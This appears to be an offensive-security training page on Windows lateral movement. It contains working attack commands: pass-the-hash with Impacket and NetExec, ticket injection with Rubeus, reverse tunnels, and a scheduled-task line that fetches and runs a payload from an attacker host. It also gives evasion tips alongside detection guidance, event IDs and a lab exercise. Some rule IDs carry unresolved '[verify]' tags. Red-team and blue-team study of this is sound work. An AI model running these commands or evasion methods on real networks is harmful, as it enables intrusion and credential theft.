Skip to content

Lateral Movement

Lateral movement is the act of using one foothold to authenticate to another host and execute code there. In a Windows domain, the credentials you have (a single hash, a single ticket, a single user) frequently unlock more boxes than they should, because authentication protocols (NTLM, Kerberos) and remote execution services (SMB/ADMIN$, WMI, WinRM, DCOM, RDP) all accept those credentials on every host that trusts them. The mature attacker’s toolkit — Impacket’s psexec.py/wmiexec.py/smbexec.py, CrackMapExec (now NetExec), Evil-WinRM, Rubeus for Kerberos — exists precisely because the protocol surface is so consistent across machines.

Windows remote execution is a stack of independent protocols, each with its own RPC interface, authentication flow, and on-target artifact. The credentials are the currency; the protocol is the carrier.

┌─────────────────────────────────────────────────────────────┐
│ L7 Exec channel psexec wmiexec smbexec winrm │
│ (where the shell (svc + (wmiprvse (smb pipe (5985/ │
│ lives) pipe) spawn) +bash) 5986) │
├─────────────────────────────────────────────────────────────┤
│ L5 RPC interface DCOM/IWbem svcctl WinRM WSMAN │
├─────────────────────────────────────────────────────────────┤
│ L4 Auth protocol NTLM / Kerberos (SSPI) │
├─────────────────────────────────────────────────────────────┤
│ L3 Transport SMB (445) / TCP 5985 / DCE/RPC │
└─────────────────────────────────────────────────────────────┘
Pass-the-Hash │ Pass-the-Ticket │ Overpass-the-Hash
(NTLM as proof) │ (Kerberos ticket) │ (NTLM→TGT)

Every lateral movement technique can be classified by three axes:

  • Credential type: plaintext / NTLM hash / Kerberos ticket / AES key
  • Protocol: SMB / WMI / WinRM / DCOM / RDP / SSH
  • Execution artifact: dropped service binary / in-memory WMI / named pipe / PSRP runspace

Defenders observe at the protocol layer (EID 4624 logon type, Sysmon EID 3 network, EID 1 process lineage) and at the artifact layer (EID 7045 service install, EID 4688 process parent).

  1. Obtain a credential — from PE3: an NTLM hash (aad3...:8846...), a Kerberos TGT, a plaintext password, an AES key.
  2. Choose the protocol — based on what’s open (nxc smb 10.0.0.0/24 for SMB, nxc winrm 10.0.0.0/24 for WinRM) and what the credential supports. NTLM hash works for SMB/WMI; Kerberos ticket works for everything; plaintext works everywhere.
  3. Authenticate — LSALogonUser via SSPI. The wire flow is:
    • NTLM: client sends NTLM_NEGOTIATE, server sends NTLM_CHALLENGE (8-byte challenge), client sends NTLM_AUTHENTICATE containing the HMAC-MD5 of challenge using the NTLM hash as key. Server validates via the local SAM or DC.
    • Kerberos: client presents TGS for cifs/target.host (for SMB) or host/target.host (for WinRM), wrapped in an AP-REQ, inside a GSS-API blob. Server validates via its own keytab (and validates the PAC via a DC call for KDC signature).
  4. Open the exec channel — for SMB, create the IPC$ and ADMIN$ shares, install a service via svcctl (CreateService → StartService); for WMI, IWbemServices::CreateInstance of Win32_Process; for WinRM, the WS-Management protocol’s wxf:Receive/wxf:Send over HTTP 5985 or HTTPS 5986.
  5. Receive output — psexec reads stdout via the named pipe; wmiexec writes output to a temp file and reads it back over SMB; smbexec uses %COMSPEC% /Q /c <command> 2^>^&1 1> \\127.0.0.1\ADMIN$\__output 2^>^&1 and polls that file.
  6. Tear down — stop and delete the service (psexec), close the runspace (WinRM).
TechniqueProtocolCredentialOn-target ArtifactDetection Difficulty
psexec.pySMB/445NTLM hash or passwordService binary in ADMIN$Easy — EID 7045 service
wmiexec.pyDCOM/WMI + SMBNTLM hashStdRegProv + temp fileMedium — WMI is noisy already
smbexec.pySMB/445NTLM hashsvcctl + cmd over pipeEasy — semi-interactive shell visible
atexec.pyDCOM/Schedule serviceNTLM hashschtasks job (EID 4698)Easy — task created
Evil-WinRMWinRM/5985Password or KerbPSRP runspaceMedium — looks like admin
WinRS (winrs.exe)WinRMPasswordSame as WinRMEasy — winrs.exe is uncommon
RDPRDP/3389PasswordSession (EID 4624 type 10)Medium — interactive
WMI via PowerShellDCOM/TCP 135 + dynamicPasswordwmiprvse.exe child of providerMedium
DCOM lateral via MMC20DCOMPasswordmmc.exe COM activateHard — obscure
Pass-the-Ticket (Rubeus)KerberosTGT in cacheklist shows TGTHard — no network logon by itself
SSH (Linux)SSH/22Key or passwordStandard SSH sessionMedium — sshd logs
Rubeus ptt + smbexecSMBTGS for cifs/hostSame as psexecHard — no NTLM in trace
Terminal window
# === ENUMERATION ===
# NetExec (formerly CrackMapExec) — spray credentials across a subnet
nxc smb 10.10.10.0/24 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c
# Output: [+] 10.10.10.5 - Pwn3d! (admin on this host)
# [+] 10.10.10.6 - (Pwn3d!) ...
nxc smb 10.10.10.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth
# --local-auth: don't talk to the DC; check local SAM
nxc winrm 10.10.10.0/24 -u jsmith -p 'Spring2024!'
# WinRM open → Evil-WinRM available
# === psexec.py (Impacket) — classic service-binary lateral ===
python3 psexec.py CORP/jsmith:Spring2024\!@10.10.10.5
# Pass-the-hash:
python3 psexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c
# Use SMB share other than ADMIN$:
python3 psexec.py CORP/jsmith@10.10.10.5 -hashes :8846... -dc-ip 10.10.10.1 -service-name customsvc
# === wmiexec.py — no service install, less noise ===
python3 wmiexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c
# Writes output to ADMIN$\__output, reads back, deletes.
# === smbexec.py — semi-interactive shell via svcctl ===
python3 smbexec.py CORP/jsmith@10.10.10.5 -hashes :8846f7eaee8fb117ad06bdd830b7586c
# === atexec.py — scheduled task for one-shot ===
python3 atexec.py CORP/jsmith@10.10.10.5 -hashes :8846... 'powershell -c "iwr http://10.10.0.5/payload.exe -o C:\windows\temp\p.exe; C:\windows\temp\p.exe"'
# === dcomexec.py — lateral via DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow) ===
python3 dcomexec.py CORP/jsmith@10.10.10.5 -hashes :8846... 'whoami'
# Object: ShellWindows → mimics Explorer.exe remote shell-out
# === Evil-WinRM (PowerShell WinRM shell, optimized for OSCP-style ops) ===
evil-winrm -i 10.10.10.5 -u jsmith -p 'Spring2024!'
# Pass-the-hash:
evil-winrm -i 10.10.10.5 -u jsmith -H 8846f7eaee8fb117ad06bdd830b7586c
# Inside the shell:
# menu → list builtin features (Bypass-4MSI, download, upload, kerberos_ticket_add ...)
# upload /download for staging
# $sess = New-PSSession ... for relays
# === Kerberos lateral — Pass-the-Ticket ===
# First, grab a TGT (from PE3 dump or Kerberoasting - PE9)
# Convert .kirbi → .ccache for Impacket:
python3 ticketConverter.py TGT_jsmith.kirbi TGT_jsmith.ccache
export KRB5CCNAME=TGT_jsmith.ccache
# Now Impacket uses Kerberos auth automatically:
python3 psexec.py CORP/jsmith@host01.corp.local -k -no-pass
# Or use Rubeus (Windows side):
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/host01.corp.local /ptt
Rubeus.exe ptt /ticket:TGS.kirbi
# Now SMB access to host01 works without re-auth
# === Overpass-the-Hash — convert NTLM hash to a TGT ===
# On a Windows foothold with the hash:
Rubeus.exe asktgt /user:jsmith /domain:corp.local /ntlm:8846... /ptt
# === RDP lateral (well-known, but footprint is large) ===
xfreerdp /v:10.10.10.5 /u:jsmith /p:'Spring2024!' /cert:ignore /dynamic-resolution
# === Linux SSH lateral ===
ssh -i id_ed25519 jsmith@10.10.10.20
# ProxyJump through the foothold:
ssh -J foothold_user@10.10.0.10 -i id_ed25519 jsmith@10.10.10.20
# === Pivot via chisel (TCP reverse tunnel) ===
# On attacker (chisel server):
./chisel server -p 8000 -reverse
# On foothold (chisel client):
./chisel client 10.10.0.5:8000 R:5985:10.10.10.5:5985 R:445:10.10.10.5:445
# Now from the attacker box: evil-winrm -i 127.0.0.1 -p 5985 (tunneled through foothold)
# === Pivot via ligolo-ng (modern, TUN-based, faster than chisel) ===
# Attacker:
./proxy -selfcert
# Foothold:
./agent -connect 10.10.0.5:11601 -ignore-cert
# In ligolo UI: ifconfig tunnel0 240.0.0.1/24
# start → tunnel takes over
# Now from attacker: evil-winrm -i 10.10.10.5 (ligolo routes 10.10.10.0/24)

Windows Security Log:

  • EID 4624 — Logon. The LogonType field is the primary indicator:
    • Type 2 — Interactive (local console)
    • Type 3 — Network (SMB share access, WMI, often WinRM, NTLM auth to ADMIN$)
    • Type 4 — Batch (scheduled task)
    • Type 5 — Service (service logon — psexec’s installed service)
    • Type 7 — Unlock
    • Type 8 — NetworkCleartext (basic auth)
    • Type 9 — NewCredentials (RunAs / overpass-the-hash)
    • Type 10 — RemoteInteractive (RDP)
    • Type 11 — CachedInteractive Correlation pattern for psexec: EID 4624 (Type 3, NTLM, source IP = attacker) immediately followed by EID 7045 (Service Install) on the target.
  • EID 4625 — Failed logon. A high count from one source IP indicates password spraying.
  • EID 4648 — Explicit Credentials Logon (RunAs / runas /user:).
  • EID 4672 — Special Privileges Assigned to new logon (admin-level).
  • EID 7045 — Service Installed (System log). psexec creates a service named like BTOBTO or whatever you specified; smbexec creates SMBservice; wmiexec does not create a service.
  • EID 4698 — Task Scheduler created (atexec).
  • EID 4688 — Process Creation. The psexec signature: cmd.exe or powershell.exe parent = services.exe.

Sysmon:

  • EID 1 — ProcessCreate — cmd.exe/powershell.exe with parent services.exe is the psexec pattern; parent wmiprvse.exe is the WMI pattern; parent wsmprovhost.exe is the WinRM pattern.
  • EID 3 — NetworkConnect — wmiprvse.exe outbound to attacker IP is highly suspicious (lateral via WMI on a non-management host).
  • EID 11 — FileCreate — ADMIN$\*.exe writes from a non-DCOM source.
  • EID 13 — Registry — HKLM\System\CurrentControlSet\Services\<svcname>\ImagePath write (the psexec service install).

MITRE ATT&CK:

  • T1021.002 — Remote Services: SMB/Windows Admin Shares (psexec, smbexec)
  • T1021.001 — Remote Services: RDP
  • T1021.006 — Remote Services: WinRM
  • T1021.003 — Remote Services: Distributed Component Object Model
  • T1021.004 — Remote Services: SSH
  • T1021.005 — Remote Services: VNC
  • T1057 — Process Discovery (via WMI’s Win32_Process)
  • T1047 — Windows Management Instrumentation (WMI execution itself)
  • T1046 — Network Service Discovery (NetExec sweeps)
  • T1550.001 — Use Alternate Auth Material: Pass-the-Hash
  • T1550.002 — Use Alternate Auth Material: Pass-the-Ticket
  • T1550.003 — Use Alternate Auth Material: KDE Cookie
  • T1210 — Exploitation of Remote Services (when auth is bypassed rather than credential-presented)

Wazuh rule 920/502 [verify] — Service creation by non-system user.

Wazuh rule 88001 [verify] — Suspicious WMI remote process spawn (wmiprvse.exe parent).

Suricata — applies to wire-side detection:

  • SID 2221027 [verify] — SMB2 CreateService request via \pipe\srvsvc from non-admin source.
  • SID 2221004 [verify] — NTLM_AUTHENTICATE with no preceding NTLM_NEGOTIATE (pass-the-hash signature: hash is reused without re-deriving the negotiate).

Prefer Kerberos to NTLM. NTLM pass-the-hash creates a network logon (EID 4624 Type 3) with AuthenticationPackageName=NTLM and a long LogonProcessName=NtLmSsp. Kerberos pass-the-ticket shows as AuthenticationPackageName=Kerberos, which is the default for domain-joined hosts and looks unremarkable. Rubeus’s ptt followed by SMB runs entirely on Kerberos — no NTLM in the trace at all.

WMI over DCOM without dropping a service. wmiexec.py doesn’t install a service; it uses Win32_Process.Create and reads output through a temp file on ADMIN$. The footprint is: wmiprvse.exe spawns a child (the command), writes to ADMIN$\__output, and SMB reads it. Sigma rule: parent=wmiprvse.exe and child=cmd.exe is a high-signal rule.

WinRM over PSRP. Evil-WinRM uses WSMan PSRP — the runspace is the same one an admin would create with Enter-PSSession. EID 4624 Type 3 (Kerberos) + child wsmprovhost.exe → powershell.exe looks like a legitimate admin action. Hard to distinguish without user behavior analytics.

DCOM lateral via lesser-known objects. The MMC20.Application, ShellWindows, ShellBrowserWindow, and Excel4Macro DCOM applications can all be activated remotely and Item().Application.ShellExecute(...) invoked. Detection is hard — these are valid COM activations; the unusual piece is the source IP and the parent process (mmc.exe or excel.exe spawning cmd.exe).

No-service lateral via scheduled task. schtasks /create /s target /ru SYSTEM /sc onstart /tn pwn /tr "cmd /c ..." /f && schtasks /run /tn pwn && schtasks /delete /f /tn pwn. EID 4698 (task created) and EID 100 (task fired) are the trail.

Hop through multiple credentials. Avoid using the same credential across many hosts — defenders trigger on “credential used from N+1 hosts in T minutes”. Use a different stolen account for each hop.

EvasionWhat it bypassesDefense
Kerberos over NTLM for lateralNTLM-specific Sigma rulesCross-host credential-use analytics; rare-LogonType-by-source-IP
WMI over DCOM (no service install)EID 7045 service detectionSigma on wmiprvse.exe → cmd.exe parent-child
DCOM obscure objects (MMC20)Sigma rules tuned for known-bad COMAudit DCOM activation GUIDs; alert on remote-activate of MMC20
WinRM PSRPLooks like adminUEBA on admin session pattern; alert on WinRM from non-admin hosts
Multi-hop with distinct credsPer-credential fan-out detectionPer-user SID-based analytics + honeytoken accounts
Pre-auth via schtasksService-install SigmaAlert on schtasks /create over RPC from non-DCOM source

⚠️ What caught me: A client had a Sigma rule that flagged wmiprvse.exe as parent of cmd.exe. I switched to dcomexec.py using the ShellWindows object — that ends up parenting via explorer.exe (the local side spawns cmd.exe through the Shell.Application COM object). The Sigma rule missed it because the parent was explorer.exe, which is on every allowlist. The catch came from a network heuristic: Kerberos TGS requests for cifs/, host/, ldap/ from my foothold in a 60-second window — three TGSes from one user to one host is “enumerate-then-pivot” pattern. Lesson: when you evade host-side, you leave wire-side artifacts. The defender needs both layers; the attacker has to evade both.

VMs: a small lab — DC (DC01), three domain-joined hosts (FS01 file server, SQL01 SQL Server, WS01 workstation). All Win Server 2019 / Win 10. Foothold on WS01 as a low-priv user jsmith.

Setup: enable WinRM on all hosts (winrm quickconfig), disable Defender real-time for lab realism, install Sysmon with SwiftOnConfig. Plant credentials in LSASS on WS01 (one NTLM hash for svc_sql service account with admin rights on SQL01).

Objective: from WS01, reach SQL01 via WMI (no service install), FS01 via psexec (note the service artifact), and DC01 via WinRM (PSRP). Use a different technique for each — defenders should see three distinct signatures.

Expected flag format: flag{lateral_3hosts_3protocols_wmi_smb_winrm}.

Detection that should fire:

  • WS01 Security log: EID 4624 Type 3, source IP = SQL01/FS01/DC01, source user = jsmith/svc_sql
  • SQL01 Security log: EID 4688 with parent wmiprvse.exe, child cmd.exe
  • FS01 Security log: EID 7045 (psexec service install), EID 4624 Type 3 (NTLM), EID 4624 Type 5 (service start)
  • DC01 Security log: EID 4624 Type 3 Kerberos from WS01, child process wsmprovhost.exe → powershell.exe
  • Sysmon EID 1 — three distinct parent-child patterns
  • Sysmon EID 3 — outbound from WS01 to each target on 445/135/5985

Conceptual: why does pass-the-hash work for SMB and WMI but not for Kerberos? What is the protocol-level reason, and what credential type does Kerberos pass-the-* use instead?

Technical: walk through the on-target artifact difference between psexec.py, wmiexec.py, and smbexec.py. Which one creates a service, which one writes a temp file, and what is the Sysmon EID 1 parent-child signature of each?

Scenario: you have an NTLM hash for svc_sql. NetExec tells you the same account is admin on three hosts — SQL01, FS01, DC01. You have a 30-minute window before the SOC rotates credentials. Which host do you hit first, with which technique, and why?

Compare Evil-WinRM over PSRP and psexec over SMB. Why does the WinRM path produce EID 4624 Type 3 Kerberos while the psexec path produces EID 4624 Type 3 NTLM, and how does that distinction affect detection?

Conceptual: explain why Overpass-the-Hash is operationally distinct from Pass-the-Hash despite using the same NTLM hash as input. What does the attacker gain, and what new on-target artifact appears that wasn’t there before?

→ PE3 (Credential Dumping) · PE10 (Kerberos-based lateral) · PE11 (Pass-the-Ticket deep dive)